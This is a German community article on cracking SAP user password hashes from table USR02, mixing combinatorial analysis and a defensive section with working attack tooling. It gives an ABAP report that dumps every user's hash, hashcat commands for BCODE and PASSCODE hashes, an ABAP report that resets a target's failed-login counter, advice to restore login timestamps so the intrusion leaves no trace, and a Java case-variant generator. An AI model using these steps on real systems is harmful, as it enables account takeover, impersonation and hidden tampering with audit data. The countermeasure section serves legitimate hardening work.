Entschlüsseln von SAP-Passwörtern


3

Der folgende Artikel bewegt sich thematisch sehr stark im Bereich Cybersicherheit. Ich möchte ihn dennoch hier teilen, um zu zeigen, dass mathematische Überlegungen aus der Entwicklung sicherer kryptographischer Verfahren nicht wegzudenken sind. Insbesondere die kombinatorischen Überlegungen dieses Artikels können auch für Mitglieder dieses Portals interessant sein.

Disclaimer

Die hier beschriebene Angriffstechnik darf nur zum Schutz der eigenen IT-Infrastruktur und nur mit der ausdrücklichen Genehmigung der verantwortlichen Stelle bzw. der betroffenen Personen durchgeführt werden. Jegliches Ausspähen von User-Passwörtern ist strengstens untersagt! Ich übernehme keine Haftung für jedweden durch Missachtung dieser Vorgaben entstandenen Schaden! Dieser Beitrag ist lediglich zu Bildungszwecken gedacht! Don't Learn to Hack - Hack to Learn!

1. Vorbereitungen

Um diesen Angriff durchführen zu können, benötigst du zunächst einen Auszug der Tabelle USR02 (u. a. erreichbar über die Transaktion SE16), sowie ein Rollenprofil, das den Zugriff auf Tabellenebene überhaupt erlaubt. In USR02 werden im SAP die Passwörter der User (kryptographisch) gehasht gespeichert. Hierfür sind (je nach Codeversion) drei Felder vorgesehen: 'BCODE', 'PASSCODE' und 'PWDSALTEDHASH'. Für die verschiedenen Felder kommen jeweils unterschiedliche proprietäre Hash-Algorithmen zum Einsatz, die auf bekannten Verfahren fußen:

- BCODE: Der Hash-Algorithmus basiert auf MD5 (unsicher). Es werden die ersten \(8\) Stellen des Passworts in Uppercase-Letter konvertiert und darüber der Hashwert (samt einer undurchsichtigen Walldorf-Magie) berechnet. Als Salt wird der Benutzername in Uppercase-Lettern verwendet. Dieser kann dem Tabellenfeld 'BNAME' in USR02 entnommen werden.

- PASSCODE: Der Hash-Algorithmus basiert auf SHA-1 (unsicher). Das Salt entspricht dem für 'BCODE'.

- PWDSALTEDHASH: Der verwendete Hash-Algorithmus besitzt das Potenzial, von allen dreien am sichersten zu sein, da er selbst festgelegt werden kann (login/password_hash_algorithm, erreichbar über die Transaktion RZ10). Das Salt ist randomisiert.

Eine gute Übersicht zu den von der Codeversion (A-I) abhängigen Parametern (u. a. der verwendete Algorithmus, die maximale Passwortlänge, das Salt und das Feld, in dem der Hash gespeichert wird) ist auf der Seite von Daniel Berlin zu finden. Die von Ihnen genutzte Codeversion können Sie dem Tabellenfeld 'CODVN' in USR02 entnehmen.

Das Salt scheint auf den ersten Blick nutzlos zu sein, da der Username im Klartext vorliegt und ausgelesen werden kann. Allerdings wird auf diese Weise verhindert, dass sich ein findiger Admin die Einträge in USR02 zwischenspeichert, ein Target auswählt, seine eigenen Credentials in die Tabelle an der Stelle BNAME='<Name des Targets>' einträgt, sich (während z. B. der urlaubsbedingten Abwesenheit des Targets) mit seinem eigenen Passwort anmeldet und so unter einer falschen ID arbeitet. Wenn das Target z. B. mehr Rechte im SAP besitzt oder welche vergeben kann, wäre es fatal, sollte der Angreifer unbemerkt auf diesen Account zugreifen können. Im Anschluss müsste lediglich der Zustand vor dem Angriff wiederhergestellt werden, was mit den zwischengespeicherten Informationen kein Problem darstellt. Auch ein schwaches Salt kann also schützend wirken!

Falls du über die nötigen Rechte verfügen, kannst du dir eine Kopie der Tabelle USR02 mit dem folgenden ABAP-Report herunterladen.

*&---------------------------------------------------------------------*
*& Report  USR02_DOWNLOAD
*&
*&---------------------------------------------------------------------*
*&
*&
*&---------------------------------------------------------------------*

REPORT USR02_DOWNLOAD.

TYPES: CHAR4096(4096) TYPE C.

" Tabelle.
DATA usr02_tab TYPE TABLE OF USR02.
DATA c_filename TYPE STRING.
DATA c_path TYPE STRING.
DATA c_fullpath TYPE STRING.
DATA c_result TYPE I.

DATA dwnld_path TYPE STRING.
DATA csv_tab TYPE TABLE OF CHAR4096.

" Dialog zum Abspeichern der CSV-Datei öffnen.
CALL METHOD cl_gui_frontend_services=>file_save_dialog
  EXPORTING
    window_title      = 'Auswahl des Download-Ordners.'
    default_extension = 'csv'
    default_file_name = 'usr02_hashes'
    initial_directory = ''
  CHANGING
    filename          = c_filename
    path              = c_path
    fullpath          = c_fullpath
    user_action       = c_result.
dwnld_path = c_fullpath.

SELECT * FROM USR02 INTO TABLE usr02_tab.
IF sy-subrc <> 0.
  WRITE 'Fehler beim Auslesen der internen Tabelle USR02'.
  EXIT.
ENDIF.

CALL FUNCTION 'SAP_CONVERT_TO_CSV_FORMAT'
  EXPORTING
    i_line_header        = 'X'
    i_field_seperator    = ';'
  TABLES
    i_tab_sap_data       = usr02_tab
  CHANGING
    i_tab_converted_data = csv_tab
  EXCEPTIONS
    conversion_failed    = 1
    OTHERS               = 2.

IF dwnld_path <> ''.

  CALL METHOD cl_gui_frontend_services=>gui_download
    EXPORTING
      filename              = dwnld_path
      filetype              = 'ASC'
      write_field_separator = 'X'
    CHANGING
      data_tab              = csv_tab.

  IF sy-subrc <> 0.
    WRITE: / 'Fehler, sy-subrc=', sy-subrc.
  ELSE.
    WRITE: / 'Der Download war erfolgreich!'.
  ENDIF.
ENDIF.


Zudem musst du ein Passwort-Cracking-Tool installieren. Dazu eignet sich Hashcat.

2. Durchführung des Angriffs

Für eine Brute-Force-Attacke im Modus 'SAP CODVN B (BCODE)' setzt sich der Konsolenbefehl aus insgesamt vier Teilen zusammen:

1. hashcat64 (startet Hashcat; je nach gewünschtem Modul sind hier verschiedene Aufrufe möglich)
2. -a 3 (Angriffsart = Brute-Force)
3. -m 7700 (signalisiert Hashcat, dass ein SAP BCODE Hash vorliegt)
4. hashes.txt (Name des Files, in dem sich der Hash samt Nutzernamen befindet; statt eines Files kann die im Textfile hinterlegte Information auch als Konsolenargument eingegeben werden)

Hashcat verlangt den Hash in Kombination mit dem Nutzernamen in folgender Form:

<Nutzername>$<Hash>

Der vollständige Aufruf lautet also

hashcat64 -a 3 -m 7700 hashes.txt


bzw. (falls der Hash direkt als Argument verwendet werden soll)

hashcat64 -a 3 -m 7700 NUTZERNAME$HASH


Dieser Angriff kann noch weiter optimiert und die Chance auf das Knacken des Hashs in hinreichend kurzer Zeit somit erhöht werden. Hierfür bieten sich Shoulder Surfing oder Guessing-Attacken an. Auf diese Weise lassen sich Informationen erhaschen, die den Schlüsselraum für ein bestimmtes Target einschränken. Z. B. könnte beobachtet worden sein, dass die letzten drei Stellen des Passworts 'r42' lauten oder dass insgesamt vier Zahlen vorkommen. Hashcat kann mit diesen Informationen beim Aufruf gefüttert werden und dadurch (noch) effizienter arbeiten. Ist die Länge des Passworts exakt bekannt, so kann man z. B. durch Setzen von --increment-min=7 und --increment-max=7 festlegen, dass nur 7-stellige Zeichenkombinationen geprüft werden müssen.

Zudem ist es möglich, ein Dictionary mit häufig verwendeten Passwörtern für den Angriff einzusetzen (z. B. die 10.000 häufigst genutzten Passwörter). Wenn eines von ihnen verwendet wird, braucht Hashcat in der Regel weniger als eine Sekunde, um den Hash zu entschlüsseln (sofern tatsächlich eines dieser Passwörter verwendet wurde). Ein solches Dictionary kann wie folgt eingebunden werden:

hashcat64 -m 7700 NUTZERNAME$HASHWERT -a 0 Pfad/zum/Dictionary.txt


Mit der Option '0' signalisierst du Hashcat, dass Sie einen Dictionary-Angriff durchführen wollen. Mit '1' sind auch Kombinationsangriffe möglich.

Für ein realistisches Szenario liefert Hashcat exemplarisch (selbst mit geringer Performance des eingesetzten Rechners und ohne effizienzsteigernde GPU-Einbindung) in nur ca. 18 Minuten tatsächlich die ersten 8 Stellen des als Hash in 'BCODE' hinterlegten User-Passworts:

Solltest du nun denken, dass es dennoch zu viele Möglichkeiten gibt, das gecrackte Uppercase-Passwort in die Anmeldemaske einzugeben, weise ich dich

1. auf den nächsten Abschnitt und

2. auf den folgenden Report

hin:

*&---------------------------------------------------------------------*
*& Report  RESET_ATTEMPTS
*&
*&---------------------------------------------------------------------*
*&
*&
*&---------------------------------------------------------------------*

REPORT RESET_ATTEMPTS.

DATA usr02_tab TYPE TABLE OF USR02.
DATA wa_usr02_tab TYPE USR02.

SELECT * FROM USR02 INTO TABLE usr02_tab WHERE BNAME = '<Nutzername des Targets>'.

LOOP AT usr02_tab INTO wa_usr02_tab.
  wa_usr02_tab-LOCNT = 0.
  MODIFY USR02 FROM wa_usr02_tab.
ENDLOOP.


Mit diesem Report kannst du für ein bestimmtes Target die Fehlversuche für die Passworteingabe, die in USR02 im Feld 'LOCNT' gespeichert werden, zurücksetzen. Du kannst also alle noch verbliebenen (maximal \(256\)) Möglichkeiten händisch ausprobieren und bei Bedarf den Report RESET_ATTEMPTS starten. Auch der Timecode der letzten Anmeldezeit kann vor dem Angriff zwischengespeichert und anschließend wieder in die Felder 'TRDAT' und 'LTIME' geschrieben werden. 

Spätestens an dieser Stelle sollte angekommen sein, dass der Zugriff auf USR02 und ähnliche Tabellen (lesend und schreibend) strengstens reglementiert werden muss!

3. Wie kann ich mich schützen?

Nun weißt du, wie User-Passwörter heruntergeladen und entschlüsselt werden können. Die Frage ist, welche Maßnahmen aus dem Ablauf dieses Angriffs abgeleitet werden können, um ein insgesamt höheres Schutzniveau zu erreichen. Hierfür bieten sich zunächst einfache kombinatorische Überlegungen an:

Angenommen die Passwort-Policy sieht ein mindestens 6-stelliges Passwort vor. Wie bereits erwähnt, wird im Feld 'BCODE' ein Hashwert gespeichert, der sich durch die Anwendung eines proprietären (auf MD5 basierenden) Hash-Algorithmus auf die ersten 8 Stellen des User-Passworts in Uppercase-Lettern ergibt. Als Ergebnis des Cracking-Prozesses liefert Hashcat das Klartextpasswort also ausschließlich in Uppercase-Lettern. Der Angreifer erhält z. B. als entschlüsselten Wert den Klartext 'PASSWORD', weiß aber nicht, welche Stellen im tatsächlichen Passwort Groß- und Kleinbuchstaben sind. Mathematisch betrachtet ist dieser 'Schutz' jedoch marginal, da es für jede der 8 Stellen nur 2 Möglichkeiten (Groß- oder Kleinbuchstabe) gibt. Damit sind theoretisch nur $$2^8=256$$ Versuche nötig. Auch wenn das vor dem Hintergrund von z. B. maximal 3 Falscheingaben viel erscheint, ist in der Praxis eine auf diesen Informationen aufbauende Guessing-Attacke erfolgsversprechend. Wie viele Mitarbeiter, die ein so einfaches Passwort wählen, werden bei der Vorgabe 'mindestens einen Groß- und einen Kleinbuchstaben verwenden' wohl von der Variante 'Password' abweichen? Verwendet der User Begriffe aus einem Dictionary, ist die Wahrscheinlichkeit sehr hoch, dass diese den Rechtschreibregeln der jeweiligen Sprache folgen.

Ein weiteres Problem stellt der vermeintliche Schutz durch Zahlen oder Sonderzeichen in den ersten 8 Stellen dar, da hierfür keine Unterscheidung zwischen Lower- und Uppercase getroffen wird. Sei \(0\leq k\leq 8\) die Anzahl an Zahlen oder Sonderzeichen in den ersten \(8\) Stellen des Passworts. Dann gibt es insgesamt $$\dfrac{2^8}{2^k}$$ Uppercase-Lowercase-Kombinationsmöglichkeiten für das geknackte Passwort aus dem Feld 'BCODE'. Es ist also sinnvoll weitere Regeln zu definieren, um \(k\) möglichst gering (im Optimalfall auf \(k=0\)) zu halten und erst nach der 8. Stelle ein Sonderzeichen zu erlauben.

Dies führt bereits zur nächsten sicherheitssteigernden Maßnahme: Erlaube den Usern keine Passwörter mit weniger als 8 Stellen! In diesem Fall kann ein Angreifer allein mit der Information aus dem Feld 'BCODE' das User-Passwort entschlüsseln und sich unter falscher Kennung am System anmelden (sofern er die richtige Kombination an Uppercase- und Lowercase-Lettern herausfindet). Bei genau 8 Stellen ist für den Angreifer nicht ersichtlich, ob nun 8 oder mehr Zeichen verwendet wurden.

Mit dem folgenden Java-Programm kannst du alle verbliebenen Kombinationsmöglichkeiten für ein gecracktes Passwort berechnen:

import java.util.HashSet;

import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;

public class UppercaseLowercaseCombiner {

        public static void main(final String... agrs) {
                //
                System.out.println(lower_upper_combs("PASSWORD"));
        }
        
        public static String bytes_to_hex_string(final byte[] to_convert) {
                final char[] hash_chars = "0123456789ABCDEF".toCharArray();
            char[] result_chars = new char[2*to_convert.length];
            for (int i = 0; i < to_convert.length; i++ ) {
                final int shift = to_convert[i] & 0xFF;
                result_chars[2*i] = hash_chars[shift >>> 4];
                result_chars[2*i+1] = hash_chars[shift & 0x0F];
            }
            return new String(result_chars);
        }
        
        public static List<String> lower_upper_combs(final String to_convert){
                System.out.println(to_binary(30,5));
                final Character[] word_container = new Character[to_convert.length()];
                final int length = word_container.length;
                final Set<String> duplicate_filter = new HashSet<>();
                final String lower_case_to_convert = to_convert.toLowerCase();
                for(int pos = 0; pos < length; pos++){
                        word_container[pos] = lower_case_to_convert.charAt(pos);
                }
                for(int counter = 0; counter < Math.pow(2, length); counter++){
                        final String mask = to_binary(counter, length);
                        final Character[] converted_word = new Character[length];
                        for(int pos = 0; pos < length; pos++){
                                if(mask.charAt(pos) == '1'){
                                        converted_word[pos] = Character.toUpperCase(word_container[pos]);
                                } else {
                                        converted_word[pos] = word_container[pos];
                                }
                        }
                        duplicate_filter.add(char_array_to_string(converted_word));
                }
                return duplicate_filter.stream().collect(Collectors.toList());
        }
        
        public static String to_binary(final int num, final int length){
                String result = Integer.toString(num, 2);
                if(result.length() > length){
                        return result;
                }
                for(int i = result.length(); i < length; i++){
                        result = "0" + result;
                }
                return result;
        }
        
        public static String char_array_to_string(final Character[] to_convert){
                String result = "";
                for(int pos = 0; pos < to_convert.length; pos++){
                        result = result + to_convert[pos];
                }
                return result;
        }
}

Für den Input 'PASSWORD' liefert das Programm die folgenden Kombinationsmöglichkeiten:

[passWOrD, pasSWoRd, PASsWoRd, PasSWorD, PasSWOrd, PasSWORD, password, passwoRD, passwORd, PasswOrD, PasSwoRd, pasSWord, pasSWoRD, PASsWord, PASsWoRD, PasSWord, PasSWoRD, PasSWORd, PASsWORd, pasSWORd, passwoRd, PasSword, PasSwoRD, PasSwORd, PASsWorD, PasSWoRd, PASsWOrd, PASsWORD, paSSworD, paSSwOrd, paSSwORD, pasSwoRd, paSSWOrD, PASsWOrD, paSSwOrD, PaSSwOrD, paSSWorD, paSSWOrd, paSSWORD, PassWord, PassWoRD, PassWORd, paSSwoRd, pasSworD, pasSwOrd, pasSwORD, PaSSworD, PaSSwOrd, PaSSwORD, passWoRd, PaSsWoRd, paSSWord, paSSWoRD, paSSWORd, PassWoRd, paSSword, paSSwoRD, paSSwORd, pasSword, pasSwoRD, pasSwORd, PaSSword, PaSSwoRD, PaSSwORd, PasswoRd, passWord, passWoRD, passWORd, pasSWorD, paSSWoRd, pasSWOrd, pasSWORD, PassWOrD, passwOrD, PasswORd, PasSworD, PasSwOrd, PasSwORD, PaSSwoRd, Password, PasswoRD, passWorD, passWOrd, passWORD, PasSWOrD, pasSWOrD, PassWorD, PassWOrd, PassWORD, passworD, passwOrd, passwORD, PasswOrd, PasswORD, PasSwOrD, pasSwOrD, PassworD, PaSsWOrD, paSsWORd, PAssword, PAsswoRD, PAsswORd, pAssWoRd, PaSSWoRd, pASSWOrD, PaSsword, PaSswoRD, PaSswORd, PAssWorD, PAssWOrd, PAssWORD, pASSwORd, paSsWoRd, pASSword, pASSwoRD, PAsswoRd, pAssWord, pAssWoRD, pAssWORd, PaSSWord, PaSSWoRD, PaSSWORd, pASSWorD, pASSWOrd, pASSWORD, PaSswoRd, paSswoRd, PAssWord, PAssWoRD, PAssWORd, pASSwOrd, pASSwORD, paSsWord, paSsWoRD, pASSworD, PaSsWord, PaSsWoRD, PaSsWORd, PAsSwoRd, paSsWOrD, PASSworD, PASSwOrd, PASSwORD, PaSSWorD, PaSSWOrd, PaSSWORD, PAsSWord, PAsSWoRD, PAsSWORd, PaSswOrD, PASSWOrD, paSsword, paSswoRD, paSswORd, PAssWoRd, pASSwOrD, pAsswoRd, paSsWorD, pASsworD, pASswOrd, pASswORD, PaSsWorD, PaSsWOrd, PaSsWORD, pASsWOrD, paSsWOrd, paSsWORD, PASSwOrD, pAsSWoRd, PaSSWOrD, PAsSWoRd, PaSsworD, PaSswOrd, PaSswORD, paSsworD, paSswOrd, paSswORD, PASswOrD, pASswOrD, PAsSworD, PAsSwOrd, PAsSwORD, pASsWorD, pASsWOrd, pASsWORD, pAsSwoRd, PASSwoRd, pAsSWord, pAsSWoRD, pAsSWORd, PASSWord, PASSWoRD, PAsSWOrD, PASSWORd, paSswOrD, pAssworD, pAsswOrd, pAsswORD, PASsworD, PASswOrd, PASswORD, pASswoRd, PAsSword, PAsSwoRD, PAsSwORd, pASsWord, pASsWoRD, pASsWORd, pAsSword, pAsSwoRD, pAsSwORd, PASSword, PASSwoRD, PASSwORd, pAsSWorD, pAsSWOrd, pAsSWORD, PASSWorD, PAsSWorD, PAsSWOrd, PAsSWORD, PASSWOrd, PASSWORD, pAssword, pAsswoRD, pAsswORd, PASsword, PASswoRD, PASswORd, pASsword, pASswoRD, pASswORd, pASsWoRd, pAsSworD, pAsSwOrd, pAsSwORD, PAsswOrD, pAssWorD, pAssWOrd, pAssWORD, pAsSWOrD, pASSWord, pASSWoRD, pASSWORd, PASswoRd, PAsSwOrD, pAsSwOrD, PAssworD, PAsswOrd, PAsswORD, pAssWOrD, PASSWoRd, pASSWoRd, PAssWOrD, pAsswOrD, pASSwoRd]

Für das (vermeintlich) sicherere Passwort 'P455w0r7' sind es nur $$\dfrac{2^8}{2^5}=2^3=8$$ Möglichkeiten:

[P455W0r7, P455W0R7, P455w0r7, P455w0R7, p455w0r7, p455w0R7, p455W0r7, p455W0R7]

Sei \(m\) die Anzahl der nach dem Entschlüsseln möglichen Lowercase-Uppercase-Kombinationen. Dann liegt die Wahrscheinlichkeit dafür, dass man bei \(n\) erlaubten Fehlversuchen nicht das richige Passwort trifft bei $$100-100\cdot \left(\dfrac{m-1}{m}\cdot \dfrac{m-2}{m-1}\cdot \dfrac{m-3}{m-2} \cdot ...\cdot \dfrac{m-n-1}{m-n}\right)=100-100\cdot \prod\limits_{k=0}^{n}{\dfrac{m-k-1}{m-k}}$$ Prozent. Bei \(n=6\) erlaubten Fehlversuchen und $m=16$ Möglichkeiten, liegt die Erfolgswahrscheinlichkeit bei $$100-100\cdot\prod\limits_{k=0}^{6}{\dfrac{16-k-1}{16-k}} =100-100\cdot\left(\dfrac{15}{16}\cdot \dfrac{14}{15}\cdot \dfrac{13}{14}\cdot \dfrac{12}{13}\cdot \dfrac{11}{12}\cdot \dfrac{10}{11}\right)=43.75\% $$ Was den Angriff so gefährlich macht, sind nicht unbedingt die der Abwärtskompatibilität geschuldeten Sicherheitseinbußen, sondern der Faktor Mensch. In der Vergangenheit wurde bereits gezeigt, dass Passwörter von Anwender als schwer merkbar empfunden werden [1] und sich ein durchschnittlicher Anwender nur ca. zwei bis drei zufällig generierte starke Passwörter merken kann [2]. Populäre anwenderseitige Gegenmaßnahmen bei der Vergabe eigener Passwörter bestehen in dem Aufschreiben von Passwörtern, der Wahl schwacher Passwörter oder der Verwendung eines einzigen Passworts für mehrere Zwecke [3].

Zielführende Schutzmaßnahmen sind also:

- Es sollten geeignete Passwortbildungsregeln (in Absprache mit den Usern) definiert werden, die mindestens 8-stellige Passwörter fordern, da sonst das vollständige Passwort mit Hilfe des aus dem Feld 'BCODE' extrahierten Hashs ermittelt werden kann. Auf Zahlen und Sonderzeichen sollte aus den bereits genannten Gründen in den ersten 8 Stellen verzichtet werden. Die Parameter login/min_password_letters, login/min_password_digits, login/min_password_specials, login/min_password_lowercase und login/min_password_uppercase sollten entsprechend angepasst sein (siehe auch SAP-Hinweis 2467).

- Die Einstellungen für die jeweiligen Hash-Verfahren sollten entsprechend den Empfehlungen von SAP gesetzt werden.

- Die Zugriffsrechte auf die Tabellen USR02, USH02, USRPWDHISTORY und etwaige weitere Tabellen, die User-Passwörter speichern, müssen maximal eingeschränkt werden. Im Schadensfall muss genau bekannt sein, wer auf diese Tabellen zugreifen konnte/kann und was geändert wurde.

- Wenn bei der Vergabe eines neuen Passworts der Fall eintritt, dass derselbe Hash im Feld 'BCODE' eingetragen wird (weil der User zwecks besserer Merkbarkeit z. B. immer nur die letzten beiden Stellen seines 10-stelligen Passworts ändert), so muss das System einen Warnhinweis geben und das vorgeschlagene Passwort ablehnen. Dies ist durch einen entsprechenden Report realisierbar.

- User sollten ihr Passwort regelmäßig (z. B. alle zwei Monate) ändern müssen.

- SAP-Passwörter sollten mehrere Male pro Tag vom User änderbar sein. Angenommen, ein Dritter beobachtet einen User bei der Eingabe eines neuen Passworts und kennt so das (aktuell verwendete) Passwort des Users. Dann muss dieser es schnellstmöglich ändern können.

- Die Mitarbeiter müssen besonders für die Themen Shoulder Surfing Angriffe und Social Engineering im Allgemeinen sensibilisiert werden, da diese Techniken oft nicht als Gefahr wahrgenommen werden.

- Es sollte eine Codeversion zum Einsatz kommen, mit der die Speicherung möglichst weniger Informationen über den Hash verbunden ist.

4. Angriff auf das Feld 'PASSCODE'

Nun geht es um das Tabellenfeld 'PASSCODE', in dem ein SHA-1 basierter Hash des vollständigen (!) Passworts gespeichert wird. Im Vergleich zu 'BCODE' erhält man durch das Knacken dieses Hashs das Passwort inklusive Groß- und Kleinschreibung, was vor allem dann interessant ist, wenn das Target ein Passwort mit mehr als 8 Stellen verwendet. Der Angriff ist theoretisch auch ohne das Knacken des Passworthashs im Feld 'BCODE' möglich. Allerdings erhöht der gewachsene Zeichensatz (Zahlen, Sonderzeichen Groß- und Kleinbuchstaben) die Decryption Time. Deshalb ist es sinnvoll, zunächst mit dem Hash aus BCODE die ersten 8 Stellen herauszufinden und mit den daraus gewonnenen Informationen eine Mask Attacke auf 'PASSCODE' durchzuführen.

Warum ist diese Vorgehensweise sinnvoll? Mit entsprechender Hardware beträgt die Worst-Case Decryption Time für den Hash in 'BCODE' weniger als einen Tag. Realitätsnahe Experimente im Arbeitsumfeld haben gezeigt, dass die durchschnittliche Zeit praktisch bei ca. 20 Minuten liegt. Dadurch gewinnt man für das Entschlüsseln des potentiell weitaus längeren (realen) Passworts viel Zeit. Während man (ausgehend von einem Standard-Zeichensatz von 96) für ein 10 stelliges Passwort $$96^{10}$$ Möglichkeiten ausprobieren muss, sind es bei Kenntnis der ersten 8 Stellen in Großbuchstaben nur noch $$\frac{2^{8}}{2^{m}}\cdot 96^2$$ \(m\) gibt dabei die Anzahl der Ziffern- und Sonderzeichen im Passwort an. Für \(m=4\) muss man mit einer Brute-Force-Attacke $$\frac{96^{10}}{\frac{2^8}{2^4}\cdot 96^2}=\frac{96^8}{2^4}\approx 4.5\cdot 10^{14}$$ mal weniger Kombinationen testen. Für ein \(n\)-stelliges Passwort ergeben sich somit insgesamt $$96^{n-8}\cdot \frac{2^8}{2^m}$$ mögliche Passwörter. Somit müssen $$\frac{96^{n}}{96^{n-8}\cdot \frac{2^8}{2^m}}$$ mal weniger Möglichkeiten durchprobiert werden, was die Worst-Case Decryption Time massiv reduziert.

5. Angriffsoptimierung

Mit dem Wissen um 'PASSCODE' kann der in den vorherigen Kapiteln beschriebene Angriff weiter optimiert werden. Dies führt am Ende dazu, dass der Report zum Zurücksetzen des Counters für Fehleingaben im Feld 'LOCNT' in USR02 überflüssig wird. Damit beschränkt sich seine Funktion (wenn überhaupt) nur noch auf die Manipulation des Zeitstempels.

Für ein \(8\)-stelliges Passwort müssen maximal \(2^8=256\) Wörter ausprobiert werden.

Wenn Du dir mit dem folgenden Java-Tool ein Dictionary mit allen Lowercase-Uppercase-Kombinationen erzeugen lässt, kannst du dieses als Basis für eine Dictionary-Brute-Force-Attacke verwenden:

import java.util.HashSet;

import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;

public class UppercaseLowercaseCombiner {

        public static void main(final String... agrs) {
                //
                System.out.println(lower_upper_combs("PASSWORD"));
        }
        
        public static String bytes_to_hex_string(final byte[] to_convert) {
                final char[] hash_chars = "0123456789ABCDEF".toCharArray();
            char[] result_chars = new char[2*to_convert.length];
            for (int i = 0; i < to_convert.length; i++ ) {
                final int shift = to_convert[i] & 0xFF;
                result_chars[2*i] = hash_chars[shift >>> 4];
                result_chars[2*i+1] = hash_chars[shift & 0x0F];
            }
            return new String(result_chars);
        }
        
        public static List<String> lower_upper_combs(final String to_convert){
                System.out.println(to_binary(30,5));
                final Character[] word_container = new Character[to_convert.length()];
                final int length = word_container.length;
                final Set<String> duplicate_filter = new HashSet<>();
                final String lower_case_to_convert = to_convert.toLowerCase();
                for(int pos = 0; pos < length; pos++){
                        word_container[pos] = lower_case_to_convert.charAt(pos);
                }
                for(int counter = 0; counter < Math.pow(2, length); counter++){
                        final String mask = to_binary(counter, length);
                        final Character[] converted_word = new Character[length];
                        for(int pos = 0; pos < length; pos++){
                                if(mask.charAt(pos) == '1'){
                                        converted_word[pos] = Character.toUpperCase(word_container[pos]);
                                } else {
                                        converted_word[pos] = word_container[pos];
                                }
                        }
                        duplicate_filter.add(char_array_to_string(converted_word));
                }
                return duplicate_filter.stream().collect(Collectors.toList());
        }
        
        public static String to_binary(final int num, final int length){
                String result = Integer.toString(num, 2);
                if(result.length() > length){
                        return result;
                }
                for(int i = result.length(); i < length; i++){
                        result = "0" + result;
                }
                return result;
        }
        
        public static String char_array_to_string(final Character[] to_convert){
                String result = "";
                for(int pos = 0; pos < to_convert.length; pos++){
                        result = result + to_convert[pos];
                }
                return result;
        }
}

Für die Dictionary-Brute-Force-Attacke im Modus 'SAP CODVN F/G (PASSCODE)' setzt sich der Konsolenbefehl aus insgesamt vier Teilen zusammen:

1. hashcat64 (startet Hashcat; je nach gewünschtem Modul sind hier verschiedene Aufrufe möglich)
2. -m 7800 (signalisiert Hashcat, dass ein SAP PASSCODE Hash vorliegt; eine Liste mit allen unterstützten Hash-Algorithmen finden Sie hier)
3. hashes.txt (Name des Files, in dem sich der Hash samt Nutzernamen befindet; statt eines Files kann die im Textfile hinterlegte Information auch als Konsolenargument eingegeben werden)
4. -a 3 (Angriffsart = Brute-Force)
5. dictionary.dict (Name des Dictionary-Files. Dieses Argument macht aus der Brute-Force-Attacke eine Dictionary-Brute-Force-Attacke).

Der vollständige Aufruf lautet dann:

hashcat64 -m 7800 hashes.txt -a 3 dictionary.dict


bzw. (falls der Hash direkt als Argument verwendet werden soll)

hashcat64 -m 7800 NUTZERNAME$HASH -a 3 dictionary.dict


Aufgrund der geringen (aber völlig ausreichenden) Größe des Dictionaries erhalten Sie das Ergebnis ohne merkbare Latenz.

Wie kann man sich gegen diesen optimierten Angriff schützen? Neben den bereits genannten Schutzmaßnahmen sind noch längere Passwörter mit Sonderzeichen und Ziffern nach dem 8. Zeichen zu wählen.

Literaturquellen

[1] Yan, A. Blackwell, R. Anderson, and A. Grant. Password memorability and security: Empirical results. IEEE Security & privacy, 2(5):25–31, 2004.

[2] M. A. Sasse. Usability and trust in information systems. Edward Elgar, 2005.

[3] D. Weirich and M. A. Sasse. Pretty good persuasion: a first step towards effective password security in the real world. In NSPW, 2001.

 

Community Artikel, geschrieben vor 3 Wochen, 5 Tage
andré dalwigk, verified
Student, Punkte: 4206
 
Kommentar schreiben Diesen Artikel melden
0 Antworten